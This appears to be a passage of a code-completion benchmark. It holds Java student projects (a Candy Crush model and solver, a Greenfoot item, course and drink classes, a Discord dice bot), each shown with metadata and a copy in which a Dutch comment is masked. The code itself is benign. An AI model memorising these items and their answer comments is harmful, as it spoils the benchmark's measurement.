= styleSheetToSVG(ssheet); } catch (IOException e) { e.printStackTrace(); ssheet = null; } } if (style == null) style = "circle { fill: grey; stroke: none; } line { stroke-width: 1; stroke: black; }"; out.printf("<defs><style type=\"text/css\"><![CDATA[%n"); out.printf(" %s%n", style); out.printf("]]></style></defs>%n"); } protected void outputNodes() { Iterator<? extends String> keys = nodePos.keySet().iterator(); while (keys.hasNext()) { String key = keys.next(); Point3 pos = nodePos.get(key); out.printf(" <g id=\"%s\">%n", key); out.printf(" <circle cx=\"%f\" cy=\"%f\" r=\"4\"/>%n", pos.x, pos.y); out.printf(" </g>%n"); } } protected String styleSheetToSVG(StyleSheet sheet) { StringBuilder out = new StringBuilder(); addRule(out, sheet.getDefaultGraphRule()); return out.toString(); } protected void addRule(StringBuilder out, Rule rule) { // Style style = rule.getStyle(); // TODO } }
False
2,192
9
2,539
9
2,519
10
2,539
9
2,965
11
false
false
false
false
false
true
1,080
150386_2
package be.kuleuven.candycrush; import javafx.util.Pair; import java.util.*; import java.util.function.Function; import java.util.stream.Collectors; import java.util.stream.Stream; public class CandycrushModel { private String speler; private Board<Candy> candyBoard; private int score; private boolean gestart; private BoardSize boardSize; public CandycrushModel(String speler, int width, int height){ this.speler = speler; boardSize = new BoardSize(height, width); candyBoard = new Board<>(boardSize); score = 0; gestart = false; Function<Position, Candy> candyCreator = position -> randomCandy(); candyBoard.fill(candyCreator); } public CandycrushModel(String speler) { this(speler, 10, 10); } public String getSpeler() { return speler; } public BoardSize getBoardSize(){ return boardSize; } public Board<Candy> getSpeelbord() { return candyBoard; } public void setCandyBoard(Board<Candy> board){ candyBoard = board; } public int getWidth() { return boardSize.kolommen(); } public int getHeight() { return boardSize.rijen(); } public int getScore(){ return this.score; } public boolean isGestart(){ return this.gestart; } public void start(){ this.gestart = true; } public void reset(){ this.score =0; this.gestart = false; Function<Position, Candy> candyCreator = position -> randomCandy(); candyBoard.fill(candyCreator); } public Candy randomCandy(){ Random random = new Random(); int randomGetal = random.nextInt(8); return switch (randomGetal) { case 4 -> new Erwt(); case 5 -> new Kropsla(); case 6 -> new Lente_ui(); case 7 -> new Tomaat(); default -> new NormalCandy(randomGetal); }; } public void candyWithIndexSelected(Position position){ Iterable<Position> Neighbours = getSameNeighbourPositions(position); /*for(Position Neighbour : Neighbours){ candyBoard.replaceCellAt(Neighbour, randomCandy()); score = score + 2; } candyBoard.replaceCellAt(position, randomCandy()); score++;*/ candyBoard.replaceCellAt(position, new noCandy()); score++; fallDownTo(position, candyBoard); updateBoard(candyBoard); System.out.println(getAllSwaps(candyBoard)); } Iterable<Position> getSameNeighbourPositions(Position position){ Iterable<Position> neighbors = position.neighborPositions(); ArrayList<Position> result = new ArrayList<>(); for(Position neighbor : neighbors){ Candy candy = candyBoard.getCellAt(position); Candy neighborCandy = candyBoard.getCellAt(neighbor); if(candy.equals(neighborCandy)){ result.add(neighbor); } } return result; } public boolean firstTwoHaveCandy(Candy candy, Stream<Position> positions, Board<Candy> board){ return positions .limit(2) .allMatch(p -> board.getCellAt(p).equals(candy)); } public Stream<Position> horizontalStartingPositions(Board<Candy> board){ return boardSize.positions().stream() .filter(p -> { Stream<Position> buren = p.walkLeft(); return !firstTwoHaveCandy(board.getCellAt(p), buren, board); }); } public Stream<Position> verticalStartingPositions(Board<Candy> board){ return boardSize.positions().stream() .filter(p -> { Stream<Position> buren = p.walkUp(); return !firstTwoHaveCandy(board.getCellAt(p), buren, board); }); } public List<Position> longestMatchToRight(Position pos, Board<Candy> board){ Stream<Position> walked = pos.walkRight(); return walked .takeWhile(p -> board.getCellAt(p).equals(board.getCellAt(pos)) && !(board.getCellAt(p) instanceof noCandy) && !(board.getCellAt(pos) instanceof noCandy)) .toList(); } public List<Position> longestMatchDown(Position pos, Board<Candy> board){ Stream<Position> walked = pos.walkDown(); return walked .takeWhile(p -> board.getCellAt(p).equals(board.getCellAt(pos)) && !(board.getCellAt(p) instanceof noCandy) && !(board.getCellAt(pos) instanceof noCandy)) .toList(); } public Set<List<Position>> findAllMatches(Board<Candy> board){ List<List<Position>> allMatches = Stream.concat(horizontalStartingPositions(board), verticalStartingPositions(board)) .flatMap(p -> { List<Position> horizontalMatch = longestMatchToRight(p, board); List<Position> verticalMatch = longestMatchDown(p, board); return Stream.of(horizontalMatch, verticalMatch); }) .filter(m -> m.size() > 2) .sorted((match1, match2) -> match2.size() - match1.size()) .toList(); return allMatches.stream() .filter(match -> allMatches.stream() .noneMatch(longerMatch -> longerMatch.size() > match.size() && new HashSet<>(longerMatch).containsAll(match))) .collect(Collectors.toSet()); } public void clearMatch(List<Position> match, Board<Candy> board){ List<Position> copy = new ArrayList<>(match); // Match is immutable dus maak een copy if(copy.isEmpty()) return; Position first = copy.getFirst(); board.replaceCellAt(first, new noCandy()); copy.removeFirst(); score++; clearMatch(copy, board); } public void fallDownTo(List<Position> match, Board<Candy> board){ if(horizontalMatch(match)){ match.forEach(position -> fallDownTo(position, board)); } else { match.stream() .max(Comparator.comparingInt(Position::rij)).ifPresent(position -> fallDownTo(position, board)); } } public void fallDownTo(Position pos, Board<Candy> board){ try{ Position boven = new Position(pos.rij() - 1, pos.kolom(), boardSize); if(board.getCellAt(pos) instanceof noCandy){ while (board.getCellAt(boven) instanceof noCandy){ boven = new Position(boven.rij() - 1, boven.kolom(), boardSize); } board.replaceCellAt(pos, board.getCellAt(boven)); board.replaceCellAt(boven, new noCandy()); fallDownTo(pos, board); } else{ fallDownTo(boven, board); } } catch (IllegalArgumentException ignored){return;} } public boolean horizontalMatch(List<Position> match){ return match.getFirst().rij() == match.getLast().rij(); } public boolean updateBoard(Board<Candy> board){ Set<List<Position>> matches = findAllMatches(board); if (matches.isEmpty()) return false; for(List<Position> match : matches){ clearMatch(match, board); fallDownTo(match, board); } updateBoard(board); return true; } public void swapCandies(Position pos1, Position pos2, Board<Candy> board){ if(!pos1.isNeighbor(pos2) || !matchAfterSwitch(pos1, pos2, board)){ return; } if(board.getCellAt(pos1) instanceof noCandy || board.getCellAt(pos2) instanceof noCandy){ return; } unsafeSwap(pos1, pos2, board); updateBoard(board); } private void unsafeSwap(Position pos1, Position pos2, Board<Candy> board){ Candy candy1 = board.getCellAt(pos1); Candy candy2 = board.getCellAt(pos2); board.replaceCellAt(pos1, candy2); board.replaceCellAt(pos2, candy1); } public boolean matchAfterSwitch(Position pos1, Position pos2, Board<Candy> board){ unsafeSwap(pos1, pos2, board); Set<List<Position>> matches = findAllMatches(board); unsafeSwap(pos1, pos2, board); return !matches.isEmpty(); } private Set<List<Position>> getAllSwaps(Board<Candy> board){ Set<List<Position>> swaps = new HashSet<>(); for (Position position : board.getBoardSize().positions()){ Iterable<Position> neighbours = position.neighborPositions(); for(Position neighbour : neighbours){ if(!matchAfterSwitch(neighbour, position, board)){ continue; } if(board.getCellAt(position) instanceof noCandy || board.getCellAt(neighbour) instanceof noCandy){ continue; } List<Position> swap = Arrays.asList(position, neighbour); // Verwijderd duplicaten in de lijst, want // r1c2-r1c3 == r1c3-r1c2 List<Position> reverseSwap = Arrays.asList(neighbour, position); if(swaps.contains(swap) || swaps.contains(reverseSwap)){ continue; } swaps.add(swap); } } return swaps; } public Solution maximizeScore(){ List<List<Position>> moves = new ArrayList<>(); Solution intialSolution = new Solution(0,candyBoard, moves); return findOptimalSolution(intialSolution, null); } private Solution findOptimalSolution(Solution partialSolution, Solution bestSoFar){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()){ System.out.println(partialSolution.score()); System.out.println(partialSolution.calculateScore()); System.out.println("*-*"); if (bestSoFar == null || partialSolution.isBetterThan(bestSoFar)) { return partialSolution; } else { return bestSoFar; } } if(bestSoFar != null && partialSolution.canImproveUpon(bestSoFar)){ return bestSoFar; } for(List<Position> swap : swaps){ Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); List<List<Position>> newMoves = new ArrayList<>(partialSolution.moves()); newMoves.add(swap); Solution solution = new Solution(0, mutableBoard, newMoves); int score = solution.calculateScore(); bestSoFar = findOptimalSolution(new Solution(score, mutableBoard, newMoves), bestSoFar); } return bestSoFar; } public Collection<Solution> solveAll(){ List<List<Position>> moves = new ArrayList<>(); Solution intialSolution = new Solution(0,candyBoard, moves); ArrayList<Solution> collection = new ArrayList<>(); return findAllSolutions(intialSolution, collection); } private Collection<Solution> findAllSolutions(Solution partialSolution, Collection<Solution> solutionsSoFar){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()){ System.out.println("Oplossing gevonden B)"); int score = partialSolution.calculateScore(); Solution solution = new Solution(score, partialSolution.board(), partialSolution.moves()); solution.printSolution(); solutionsSoFar.add(solution); return solutionsSoFar; } for(List<Position> swap : swaps){ Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); List<List<Position>> newMoves = new ArrayList<>(partialSolution.moves()); newMoves.add(swap); findAllSolutions(new Solution(0, mutableBoard, newMoves), solutionsSoFar); } return solutionsSoFar; } public Solution solveAny(){ Solution intialSolution = new Solution(0,candyBoard, null); return findAnySolution(intialSolution); } private Solution findAnySolution(Solution partialSolution){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()) return partialSolution; // Current.isComplete() for (List<Position> swap : swaps){ // SWAP // 1. copy board vanuit record // 2. swapcandies en update // 3. maak partialSolution // 4. recursie Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); int score = this.getScore(); return findAnySolution(new Solution(score, mutableBoard, null)); } return null; } }
MathiasHouwen/SES_CandyCrush
candycrush/src/main/java/be/kuleuven/candycrush/CandycrushModel.java
3,789
// Verwijderd duplicaten in de lijst, want
line_comment
nl
package be.kuleuven.candycrush; import javafx.util.Pair; import java.util.*; import java.util.function.Function; import java.util.stream.Collectors; import java.util.stream.Stream; public class CandycrushModel { private String speler; private Board<Candy> candyBoard; private int score; private boolean gestart; private BoardSize boardSize; public CandycrushModel(String speler, int width, int height){ this.speler = speler; boardSize = new BoardSize(height, width); candyBoard = new Board<>(boardSize); score = 0; gestart = false; Function<Position, Candy> candyCreator = position -> randomCandy(); candyBoard.fill(candyCreator); } public CandycrushModel(String speler) { this(speler, 10, 10); } public String getSpeler() { return speler; } public BoardSize getBoardSize(){ return boardSize; } public Board<Candy> getSpeelbord() { return candyBoard; } public void setCandyBoard(Board<Candy> board){ candyBoard = board; } public int getWidth() { return boardSize.kolommen(); } public int getHeight() { return boardSize.rijen(); } public int getScore(){ return this.score; } public boolean isGestart(){ return this.gestart; } public void start(){ this.gestart = true; } public void reset(){ this.score =0; this.gestart = false; Function<Position, Candy> candyCreator = position -> randomCandy(); candyBoard.fill(candyCreator); } public Candy randomCandy(){ Random random = new Random(); int randomGetal = random.nextInt(8); return switch (randomGetal) { case 4 -> new Erwt(); case 5 -> new Kropsla(); case 6 -> new Lente_ui(); case 7 -> new Tomaat(); default -> new NormalCandy(randomGetal); }; } public void candyWithIndexSelected(Position position){ Iterable<Position> Neighbours = getSameNeighbourPositions(position); /*for(Position Neighbour : Neighbours){ candyBoard.replaceCellAt(Neighbour, randomCandy()); score = score + 2; } candyBoard.replaceCellAt(position, randomCandy()); score++;*/ candyBoard.replaceCellAt(position, new noCandy()); score++; fallDownTo(position, candyBoard); updateBoard(candyBoard); System.out.println(getAllSwaps(candyBoard)); } Iterable<Position> getSameNeighbourPositions(Position position){ Iterable<Position> neighbors = position.neighborPositions(); ArrayList<Position> result = new ArrayList<>(); for(Position neighbor : neighbors){ Candy candy = candyBoard.getCellAt(position); Candy neighborCandy = candyBoard.getCellAt(neighbor); if(candy.equals(neighborCandy)){ result.add(neighbor); } } return result; } public boolean firstTwoHaveCandy(Candy candy, Stream<Position> positions, Board<Candy> board){ return positions .limit(2) .allMatch(p -> board.getCellAt(p).equals(candy)); } public Stream<Position> horizontalStartingPositions(Board<Candy> board){ return boardSize.positions().stream() .filter(p -> { Stream<Position> buren = p.walkLeft(); return !firstTwoHaveCandy(board.getCellAt(p), buren, board); }); } public Stream<Position> verticalStartingPositions(Board<Candy> board){ return boardSize.positions().stream() .filter(p -> { Stream<Position> buren = p.walkUp(); return !firstTwoHaveCandy(board.getCellAt(p), buren, board); }); } public List<Position> longestMatchToRight(Position pos, Board<Candy> board){ Stream<Position> walked = pos.walkRight(); return walked .takeWhile(p -> board.getCellAt(p).equals(board.getCellAt(pos)) && !(board.getCellAt(p) instanceof noCandy) && !(board.getCellAt(pos) instanceof noCandy)) .toList(); } public List<Position> longestMatchDown(Position pos, Board<Candy> board){ Stream<Position> walked = pos.walkDown(); return walked .takeWhile(p -> board.getCellAt(p).equals(board.getCellAt(pos)) && !(board.getCellAt(p) instanceof noCandy) && !(board.getCellAt(pos) instanceof noCandy)) .toList(); } public Set<List<Position>> findAllMatches(Board<Candy> board){ List<List<Position>> allMatches = Stream.concat(horizontalStartingPositions(board), verticalStartingPositions(board)) .flatMap(p -> { List<Position> horizontalMatch = longestMatchToRight(p, board); List<Position> verticalMatch = longestMatchDown(p, board); return Stream.of(horizontalMatch, verticalMatch); }) .filter(m -> m.size() > 2) .sorted((match1, match2) -> match2.size() - match1.size()) .toList(); return allMatches.stream() .filter(match -> allMatches.stream() .noneMatch(longerMatch -> longerMatch.size() > match.size() && new HashSet<>(longerMatch).containsAll(match))) .collect(Collectors.toSet()); } public void clearMatch(List<Position> match, Board<Candy> board){ List<Position> copy = new ArrayList<>(match); // Match is immutable dus maak een copy if(copy.isEmpty()) return; Position first = copy.getFirst(); board.replaceCellAt(first, new noCandy()); copy.removeFirst(); score++; clearMatch(copy, board); } public void fallDownTo(List<Position> match, Board<Candy> board){ if(horizontalMatch(match)){ match.forEach(position -> fallDownTo(position, board)); } else { match.stream() .max(Comparator.comparingInt(Position::rij)).ifPresent(position -> fallDownTo(position, board)); } } public void fallDownTo(Position pos, Board<Candy> board){ try{ Position boven = new Position(pos.rij() - 1, pos.kolom(), boardSize); if(board.getCellAt(pos) instanceof noCandy){ while (board.getCellAt(boven) instanceof noCandy){ boven = new Position(boven.rij() - 1, boven.kolom(), boardSize); } board.replaceCellAt(pos, board.getCellAt(boven)); board.replaceCellAt(boven, new noCandy()); fallDownTo(pos, board); } else{ fallDownTo(boven, board); } } catch (IllegalArgumentException ignored){return;} } public boolean horizontalMatch(List<Position> match){ return match.getFirst().rij() == match.getLast().rij(); } public boolean updateBoard(Board<Candy> board){ Set<List<Position>> matches = findAllMatches(board); if (matches.isEmpty()) return false; for(List<Position> match : matches){ clearMatch(match, board); fallDownTo(match, board); } updateBoard(board); return true; } public void swapCandies(Position pos1, Position pos2, Board<Candy> board){ if(!pos1.isNeighbor(pos2) || !matchAfterSwitch(pos1, pos2, board)){ return; } if(board.getCellAt(pos1) instanceof noCandy || board.getCellAt(pos2) instanceof noCandy){ return; } unsafeSwap(pos1, pos2, board); updateBoard(board); } private void unsafeSwap(Position pos1, Position pos2, Board<Candy> board){ Candy candy1 = board.getCellAt(pos1); Candy candy2 = board.getCellAt(pos2); board.replaceCellAt(pos1, candy2); board.replaceCellAt(pos2, candy1); } public boolean matchAfterSwitch(Position pos1, Position pos2, Board<Candy> board){ unsafeSwap(pos1, pos2, board); Set<List<Position>> matches = findAllMatches(board); unsafeSwap(pos1, pos2, board); return !matches.isEmpty(); } private Set<List<Position>> getAllSwaps(Board<Candy> board){ Set<List<Position>> swaps = new HashSet<>(); for (Position position : board.getBoardSize().positions()){ Iterable<Position> neighbours = position.neighborPositions(); for(Position neighbour : neighbours){ if(!matchAfterSwitch(neighbour, position, board)){ continue; } if(board.getCellAt(position) instanceof noCandy || board.getCellAt(neighbour) instanceof noCandy){ continue; } List<Position> swap = Arrays.asList(position, neighbour); // Verwijderd duplicaten<SUF> // r1c2-r1c3 == r1c3-r1c2 List<Position> reverseSwap = Arrays.asList(neighbour, position); if(swaps.contains(swap) || swaps.contains(reverseSwap)){ continue; } swaps.add(swap); } } return swaps; } public Solution maximizeScore(){ List<List<Position>> moves = new ArrayList<>(); Solution intialSolution = new Solution(0,candyBoard, moves); return findOptimalSolution(intialSolution, null); } private Solution findOptimalSolution(Solution partialSolution, Solution bestSoFar){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()){ System.out.println(partialSolution.score()); System.out.println(partialSolution.calculateScore()); System.out.println("*-*"); if (bestSoFar == null || partialSolution.isBetterThan(bestSoFar)) { return partialSolution; } else { return bestSoFar; } } if(bestSoFar != null && partialSolution.canImproveUpon(bestSoFar)){ return bestSoFar; } for(List<Position> swap : swaps){ Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); List<List<Position>> newMoves = new ArrayList<>(partialSolution.moves()); newMoves.add(swap); Solution solution = new Solution(0, mutableBoard, newMoves); int score = solution.calculateScore(); bestSoFar = findOptimalSolution(new Solution(score, mutableBoard, newMoves), bestSoFar); } return bestSoFar; } public Collection<Solution> solveAll(){ List<List<Position>> moves = new ArrayList<>(); Solution intialSolution = new Solution(0,candyBoard, moves); ArrayList<Solution> collection = new ArrayList<>(); return findAllSolutions(intialSolution, collection); } private Collection<Solution> findAllSolutions(Solution partialSolution, Collection<Solution> solutionsSoFar){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()){ System.out.println("Oplossing gevonden B)"); int score = partialSolution.calculateScore(); Solution solution = new Solution(score, partialSolution.board(), partialSolution.moves()); solution.printSolution(); solutionsSoFar.add(solution); return solutionsSoFar; } for(List<Position> swap : swaps){ Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); List<List<Position>> newMoves = new ArrayList<>(partialSolution.moves()); newMoves.add(swap); findAllSolutions(new Solution(0, mutableBoard, newMoves), solutionsSoFar); } return solutionsSoFar; } public Solution solveAny(){ Solution intialSolution = new Solution(0,candyBoard, null); return findAnySolution(intialSolution); } private Solution findAnySolution(Solution partialSolution){ Set<List<Position>> swaps = getAllSwaps(partialSolution.board()); if(swaps.isEmpty()) return partialSolution; // Current.isComplete() for (List<Position> swap : swaps){ // SWAP // 1. copy board vanuit record // 2. swapcandies en update // 3. maak partialSolution // 4. recursie Board<Candy> mutableBoard = new Board<>(partialSolution.board().getBoardSize()); partialSolution.board().copyTo(mutableBoard); swapCandies(swap.getFirst(), swap.getLast(), mutableBoard); int score = this.getScore(); return findAnySolution(new Solution(score, mutableBoard, null)); } return null; } }
True
2,812
13
3,164
15
3,305
12
3,164
15
3,769
14
false
false
false
false
false
true
1,406
24337_1
import greenfoot.*; // (World, Actor, GreenfootImage, Greenfoot and MouseInfo) public class crystalYellow extends Mover /* Dit zorgt er voor dat een Coin/collectable op z'n plek blijft staan als je het oppakt. Je geeft de methode de waarde true aan in ScoreBoard.class zodat applyVelocity(); word toegepast. */ { boolean alwaysOnScreen = false; public crystalYellow() { } public crystalYellow(boolean onScreen) { this.alwaysOnScreen = onScreen; } public void act() { if(alwaysOnScreen == false) { applyVelocity(); } } }
ROCMondriaanTIN/project-greenfoot-game-Xardas22
crystalYellow.java
205
/* Dit zorgt er voor dat een Coin/collectable op z'n plek blijft staan als je het oppakt. Je geeft de methode de waarde true aan in ScoreBoard.class zodat applyVelocity(); word toegepast. */
block_comment
nl
import greenfoot.*; // (World, Actor, GreenfootImage, Greenfoot and MouseInfo) public class crystalYellow extends Mover /* Dit zorgt er<SUF>*/ { boolean alwaysOnScreen = false; public crystalYellow() { } public crystalYellow(boolean onScreen) { this.alwaysOnScreen = onScreen; } public void act() { if(alwaysOnScreen == false) { applyVelocity(); } } }
True
160
57
173
64
180
51
173
64
213
70
false
false
false
false
false
true
1,642
171915_1
package model; /** * @author Stefan van Tilburg * <p> * Opdracht 3.3 BSA Monitor * <p> * Doel Class Vak. Opslag voor Vak gegevens (naam, punten en cesuur). */ public class Vak { private String naam; private int punten; private double cesuur; // cesuur is beoordelingsgrens tussen geslaagd / niet geslaagd public Vak(String naam, int punten, double cesuur) { this.naam = naam; this.punten = punten; this.cesuur = cesuur; } public String getNaam() { return naam; } public int getPunten() { return punten; } public double getCesuur() { return cesuur; } }
StefanvanTilburg/BSAMonitorCh4
src/model/Vak.java
220
// cesuur is beoordelingsgrens tussen geslaagd / niet geslaagd
line_comment
nl
package model; /** * @author Stefan van Tilburg * <p> * Opdracht 3.3 BSA Monitor * <p> * Doel Class Vak. Opslag voor Vak gegevens (naam, punten en cesuur). */ public class Vak { private String naam; private int punten; private double cesuur; // cesuur is<SUF> public Vak(String naam, int punten, double cesuur) { this.naam = naam; this.punten = punten; this.cesuur = cesuur; } public String getNaam() { return naam; } public int getPunten() { return punten; } public double getCesuur() { return cesuur; } }
True
193
21
225
26
197
18
225
26
230
22
false
false
false
false
false
true
2,581
133718_8
package Oefentoetspraktijkantwoorden; public class Water extends Drank { //formaat is private zoals in klassendiagram stond private int formaat; //1 van de constructors public Water() { this.formaat = 2; } //1 van de constructors public Water(String formaat) { // logica kan op meerdere manieren //gebruik van equals is verplicht aangezien String een object is en niet een primitief type if (formaat != null) { if (formaat.equals("klein")) { this.formaat = 1; } else if (formaat.equals("normaal")) { this.formaat = 2; } else if (formaat.equals("groot")) { this.formaat = 3; } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } /* if (formaat ==("klein")) { this.formaat = 1; } else if (formaat ==("normaal")) { this.formaat = 2; } else if (formaat == ("groot")) { this.formaat = 3; } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } */ } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } } public int getFormaatVoorGui() { return formaat; } // verplichte methode getPrijs public double getPrijs() { return 0; } //verplichte methode getOmschrijving public String getOmschrijving() { String txt = null; if(formaat == 1) { txt = "klein";} else if(formaat == 2) { txt = "normaal";} else if(formaat == 3) { txt = "groot";} return "een " + txt + " glas water"; } //---------------- code voor testen ------------------------------ public static void _DEMO_water() { Water w = new Water("groot"); System.out.println(w); System.out.println(w.getOmschrijving()); System.out.println(w.getPrijs()); System.out.println(new Water()); Water wXXL = new Water("XXL"); System.out.println(wXXL); } }
donnyrsk/Huiswerk
src/Oefentoetspraktijkantwoorden/Water.java
685
//---------------- code voor testen ------------------------------
line_comment
nl
package Oefentoetspraktijkantwoorden; public class Water extends Drank { //formaat is private zoals in klassendiagram stond private int formaat; //1 van de constructors public Water() { this.formaat = 2; } //1 van de constructors public Water(String formaat) { // logica kan op meerdere manieren //gebruik van equals is verplicht aangezien String een object is en niet een primitief type if (formaat != null) { if (formaat.equals("klein")) { this.formaat = 1; } else if (formaat.equals("normaal")) { this.formaat = 2; } else if (formaat.equals("groot")) { this.formaat = 3; } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } /* if (formaat ==("klein")) { this.formaat = 1; } else if (formaat ==("normaal")) { this.formaat = 2; } else if (formaat == ("groot")) { this.formaat = 3; } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } */ } else { this.formaat = 1; System.out.println("Hebben wij niet!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } } public int getFormaatVoorGui() { return formaat; } // verplichte methode getPrijs public double getPrijs() { return 0; } //verplichte methode getOmschrijving public String getOmschrijving() { String txt = null; if(formaat == 1) { txt = "klein";} else if(formaat == 2) { txt = "normaal";} else if(formaat == 3) { txt = "groot";} return "een " + txt + " glas water"; } //---------------- code<SUF> public static void _DEMO_water() { Water w = new Water("groot"); System.out.println(w); System.out.println(w.getOmschrijving()); System.out.println(w.getPrijs()); System.out.println(new Water()); Water wXXL = new Water("XXL"); System.out.println(wXXL); } }
True
567
7
657
8
616
8
657
8
807
10
false
false
false
false
false
true
1,928
24431_1
import Commands.Calendar.AddSession; import Commands.Calendar.Calendar; import Commands.Calendar.RemoveSession; import Commands.Command; import Commands.Dice; import Commands.Food.AddFood; import Commands.Food.GetFood; import Commands.Food.RemoveFood; import net.dv8tion.jda.core.EmbedBuilder; import net.dv8tion.jda.core.events.message.guild.GuildMessageReceivedEvent; import net.dv8tion.jda.core.hooks.ListenerAdapter; import java.awt.*; import java.util.*; /** * Luisteraar die luistert naar commando's */ public class CommandListener extends ListenerAdapter { private Map<String, Command> dicecommands = Map.of( "d4", new Dice(4), "d6", new Dice(6), "d8", new Dice(8), "d10", new Dice(10), "d12", new Dice(12), "d20", new Dice(20), "d100", new Dice(100) ); private ArrayList<Command> commands = new ArrayList<>(Arrays.asList(new Calendar(), new AddSession(), new RemoveSession(), new AddFood(), new GetFood(), new RemoveFood())); private ArrayList<Command> testcommands = new ArrayList<>(Arrays.asList(new DungeonMaster())); /** * Deze methode checkt of een bericht een geldig commanda is en als dit zo is checkt het of het een dicecommand is, een hulp command of een complex (aka 1tje van meerdere woroden) command. * -> Dicecommand: Gooi de desbetreffende dice x keer * -> Hulp command: Bouw de hulpboodschap op en toon deze * -> Complex command: Check of er woord daaruit een commando is en voer deze dan uit. * @param e Event die getrowed wordt iedere keer dat er een bericht verstuurd wordt */ @Override public void onGuildMessageReceived(GuildMessageReceivedEvent e) { String message = e.getMessage().getContentRaw(); String[] words = message.split(" "); if (message.length() > 0 && words[0].charAt(0) == '/') { String command = words[0].substring(1); if (words.length <= 2 && dicecommands.keySet().contains(command.toLowerCase())) { dicecommands.get(command).run(Arrays.copyOfRange(words, 1, words.length), e); // Matches(regex) -> (?i) is voor case insensitive } else if (words.length == 1 && command.matches("(?i)^(commands|help|h)$")) { EmbedBuilder eb = new EmbedBuilder(); eb.setTitle("Sumarville Commands"); Map<String, StringBuilder> sbs = new HashMap<>(); for (Command c : commands) { String cat = c.getCategory(); if (!sbs.containsKey(cat)) { sbs.put(cat, new StringBuilder()); } StringBuilder sb = sbs.get(cat); sb.append(String.format("\n/%s[", c.getName())); sb.append("\n/").append(c.getName()).append("["); Arrays.stream(c.getAliases()).forEach(alias -> sb.append(alias).append(", ")); sb.delete(sb.length() - 2, sb.length()).append(String.format("]: %s", c.getDescription())); } eb.addField("Dice rolls", "/d4, /d6, /d8, /d10, /d12, /d20, /d100", true); eb.setColor(Color.ORANGE); sbs.keySet().forEach(s -> eb.addField(s, sbs.get(s).toString().trim(), false)); e.getChannel().sendMessage(eb.build()).queue(); } else { int ctr = 0; while (ctr < commands.size() && !commands.get(ctr).isCommandFor(command)) { ctr++; } if (ctr < commands.size()) { commands.get(ctr).run(Arrays.copyOfRange(words, 1, words.length), e); } else { for (Command c : testcommands) { if (c.isCommandFor(command)) { c.run(Arrays.copyOfRange(words, 1, words.length), e); } } } } } } }
Zelzahn/DnD_Discord_Bot
src/main/java/CommandListener.java
1,230
/** * Deze methode checkt of een bericht een geldig commanda is en als dit zo is checkt het of het een dicecommand is, een hulp command of een complex (aka 1tje van meerdere woroden) command. * -> Dicecommand: Gooi de desbetreffende dice x keer * -> Hulp command: Bouw de hulpboodschap op en toon deze * -> Complex command: Check of er woord daaruit een commando is en voer deze dan uit. * @param e Event die getrowed wordt iedere keer dat er een bericht verstuurd wordt */
block_comment
nl
import Commands.Calendar.AddSession; import Commands.Calendar.Calendar; import Commands.Calendar.RemoveSession; import Commands.Command; import Commands.Dice; import Commands.Food.AddFood; import Commands.Food.GetFood; import Commands.Food.RemoveFood; import net.dv8tion.jda.core.EmbedBuilder; import net.dv8tion.jda.core.events.message.guild.GuildMessageReceivedEvent; import net.dv8tion.jda.core.hooks.ListenerAdapter; import java.awt.*; import java.util.*; /** * Luisteraar die luistert naar commando's */ public class CommandListener extends ListenerAdapter { private Map<String, Command> dicecommands = Map.of( "d4", new Dice(4), "d6", new Dice(6), "d8", new Dice(8), "d10", new Dice(10), "d12", new Dice(12), "d20", new Dice(20), "d100", new Dice(100) ); private ArrayList<Command> commands = new ArrayList<>(Arrays.asList(new Calendar(), new AddSession(), new RemoveSession(), new AddFood(), new GetFood(), new RemoveFood())); private ArrayList<Command> testcommands = new ArrayList<>(Arrays.asList(new DungeonMaster())); /** * Deze methode checkt<SUF>*/ @Override public void onGuildMessageReceived(GuildMessageReceivedEvent e) { String message = e.getMessage().getContentRaw(); String[] words = message.split(" "); if (message.length() > 0 && words[0].charAt(0) == '/') { String command = words[0].substring(1); if (words.length <= 2 && dicecommands.keySet().contains(command.toLowerCase())) { dicecommands.get(command).run(Arrays.copyOfRange(words, 1, words.length), e); // Matches(regex) -> (?i) is voor case insensitive } else if (words.length == 1 && command.matches("(?i)^(commands|help|h)$")) { EmbedBuilder eb = new EmbedBuilder(); eb.setTitle("Sumarville Commands"); Map<String, StringBuilder> sbs = new HashMap<>(); for (Command c : commands) { String cat = c.getCategory(); if (!sbs.containsKey(cat)) { sbs.put(cat, new StringBuilder()); } StringBuilder sb = sbs.get(cat); sb.append(String.format("\n/%s[", c.getName())); sb.append("\n/").append(c.getName()).append("["); Arrays.stream(c.getAliases()).forEach(alias -> sb.append(alias).append(", ")); sb.delete(sb.length() - 2, sb.length()).append(String.format("]: %s", c.getDescription())); } eb.addField("Dice rolls", "/d4, /d6, /d8, /d10, /d12, /d20, /d100", true); eb.setColor(Color.ORANGE); sbs.keySet().forEach(s -> eb.addField(s, sbs.get(s).toString().trim(), false)); 